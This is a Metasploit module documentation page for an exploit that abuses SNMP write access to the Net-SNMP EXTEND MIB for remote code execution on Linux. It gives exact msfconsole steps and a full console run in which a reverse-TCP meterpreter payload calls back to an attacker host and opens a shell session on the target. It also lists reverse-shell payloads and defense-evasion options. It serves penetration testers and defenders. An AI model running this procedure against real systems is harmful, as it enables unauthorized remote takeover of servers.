Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution - Metasploit
This page contains detailed information about how to use the exploit/linux/snmp/net_snmpd_rw_access metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
Module: exploit/linux/snmp/net_snmpd_rw_access
Source code: modules/exploits/linux/snmp/net_snmpd_rw_access.rb
Disclosure date: 2004-05-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: -
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to remote code execution.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/snmp/net_snmpd_rw_access
msf exploit(net_snmpd_rw_access) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module uses SNMP extension MIBs to enable remote code execution on the Linux Net-SNMPD servers using the SNMP-EXTEND-MIB.
Verification Steps
- Start
msfconsole - Do:
use exploit/linux/snmp/net_snmpd_rw_access - Do:
set rhost [IP] - Do:
set community [SNMP Community] - Do:
set version [SNMP Version] - Configure the payload
- Do:
run - You should get a session
Options
FILEPATH
The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp.
COMMUNITY
The read/write community string of the target Net-SNMP service.
VERSION
The SNMP protocol version. Accepted values are '1' or '2c'.
CHUNKSIZE
The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments, but should hopefully work for all cmdstager flavors
Note that cmdstager payloads are modified to allow further escaping, so the values limits may also change between cmdstager flavors.
This is possibly related to the following bug: [https://sourceforge.net/p/net-snmp/bugs/2542/].
TIMEOUT
Specifies the maximum time to allow SNMP to timeout.
SHELL
The shell to call for the client. Defaults to '/bin/bash'
Scenarios
msf > use exploit/linux/snmp/net_snmpd_rw_access
msf exploit(linux/snmp/net_snmpd_rw_access) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/snmp/net_snmpd_rw_access) > set rhost 192.168.1.3
rhost => 192.168.1.3
msf exploit(linux/snmp/net_snmpd_rw_access) > set lhost 192.168.1.2
lhost => 192.168.1.2
msf exploit(linux/snmp/net_snmpd_rw_access) > set community private
community => private
msf exploit(linux/snmp/net_snmpd_rw_access) > set version 2c
version => 2c
msf exploit(linux/snmp/net_snmpd_rw_access) > show info
Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
Module: exploit/linux/snmp/net_snmpd_rw_access
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Steve Embling at InteliSecure
Available targets:
Id Name
-- ----
0 Linux x86
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHUNKSIZE 200 yes Maximum bytes of payload to write at once
COMMUNITY private yes SNMP Community String
FILEPATH /tmp yes file path to write to
RETRIES 1 yes SNMP Retries
RHOST 192.168.1.3 yes The target address
RPORT 161 yes The target port (TCP)
SHELL /bin/bash yes Shell to call with -c argument
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 2c yes SNMP Version <1/2c>
Payload information:
Space: 4096
Description:
This exploit module exploits the SNMP write access configuration
ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to
remote code execution.
References:
https://www.intelisecure.com
msf exploit(linux/snmp/net_snmpd_rw_access) > run
[*] Started reverse TCP handler on 192.168.1.2:4444
[*] Command Stager progress - 1.11% done (199/17924 bytes)
[*] Command Stager progress - 2.23% done (399/17924 bytes)
[*] Command Stager progress - 3.34% done (598/17924 bytes)
[*] Command Stager progress - 4.45% done (797/17924 bytes)
... Redacted ...
[*] Command Stager progress - 98.64% done (17681/17924 bytes)
[*] Command Stager progress - 99.72% done (17873/17924 bytes)
[*] Sending stage (857352 bytes) to 192.168.1.3
[*] Meterpreter session 31 opened (192.168.1.2:4444 -> 192.168.1.3:54232) at 2018-02-14 17:30:22 +0000
[+] SNMP request timeout (this is promising).
[*] Command Stager progress - 100.00% done (18022/18022 bytes)
meterpreter > getuid
Server username: uid=121, gid=129, euid=121, egid=129
meterpreter > exit
[*] 192.168.1.3 - Meterpreter session 30 closed. Reason: User exit
Go back to menu.
Msfconsole Usage
Here is how the linux/snmp/net_snmpd_rw_access exploit module looks in the msfconsole:
msf6 > use exploit/linux/snmp/net_snmpd_rw_access
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show info
Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution
Module: exploit/linux/snmp/net_snmpd_rw_access
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2004-05-10
Provided by:
Steve Embling at InteliSecure
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHUNKSIZE 200 yes Maximum bytes of payload to write at once
COMMUNITY public yes SNMP Community String
FILEPATH /tmp yes file path to write to
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (TCP)
SHELL /bin/bash yes Shell to call with -c argument
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 1 yes SNMP Version <1/2c>
Payload information:
Space: 4096
Description:
This exploit module exploits the SNMP write access configuration
ability of SNMP-EXTEND-MIB to configure MIB extensions and lead to
remote code execution.
References:
http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt
https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e
https://digi.ninja/blog/snmp_to_shell.php
https://sourceforge.net/p/net-snmp/mailman/message/15735617/
Module Options
This is a complete list of options available in the linux/snmp/net_snmpd_rw_access exploit:
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show options
Module options (exploit/linux/snmp/net_snmpd_rw_access):
Name Current Setting Required Description
---- --------------- -------- -----------
CHUNKSIZE 200 yes Maximum bytes of payload to write at once
COMMUNITY public yes SNMP Community String
FILEPATH /tmp yes file path to write to
RETRIES 1 yes SNMP Retries
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 161 yes The target port (TCP)
SHELL /bin/bash yes Shell to call with -c argument
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TIMEOUT 1 yes SNMP Timeout
URIPATH no The URI to use for this exploit (default is random)
VERSION 1 yes SNMP Version <1/2c>
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/snmp/net_snmpd_rw_access exploit:
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show advanced
Module advanced options (exploit/linux/snmp/net_snmpd_rw_access):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, echo, printf, bourne, wget, curl)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/snmp/net_snmpd_rw_access module can exploit:
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/snmp/net_snmpd_rw_access exploit:
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 payload/linux/x86/read_file normal No Linux Read File
19 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/snmp/net_snmpd_rw_access exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/snmp/net_snmpd_rw_access) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9396 Merged Pull Request: Linux net snmpd rw access
References
- CVE: Not available
- http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt
- https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e
- https://digi.ninja/blog/snmp_to_shell.php
- https://sourceforge.net/p/net-snmp/mailman/message/15735617/
See Also
Check also the following modules related to this module:
- exploit/linux/snmp/awind_snmp_exec
- exploit/linux/ftp/proftp_telnet_iac
- exploit/linux/http/dlink_dir300_exec_telnet
- exploit/linux/http/eyesofnetwork_autodiscovery_rce
- exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_dgn2200b_pppoe_exec
- exploit/linux/http/netgear_dnslookup_cmd_exec
- exploit/linux/http/netgear_r7000_cgibin_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/netgear_wnr2000_rce
- exploit/linux/http/netsweeper_webadmin_unixlogin
- exploit/linux/http/openfiler_networkcard_exec
- exploit/linux/http/riverbed_netprofiler_netexpress_exec
- exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/netfilter_priv_esc_ipv4
- exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
- exploit/linux/local/network_manager_vpnc_username_priv_esc
- exploit/linux/local/udev_netlink
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/telnet/netgear_telnetenable
- exploit/linux/telnet/telnet_encrypt_keyid
- exploit/multi/browser/java_verifier_field_access
- auxiliary/admin/http/axigen_file_access
- auxiliary/scanner/http/wordpress_pingback_access
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/http/ericom_access_now_bof
- exploit/linux/ssh/solarwinds_lem_exec
Authors
- Steve Embling at InteliSecure
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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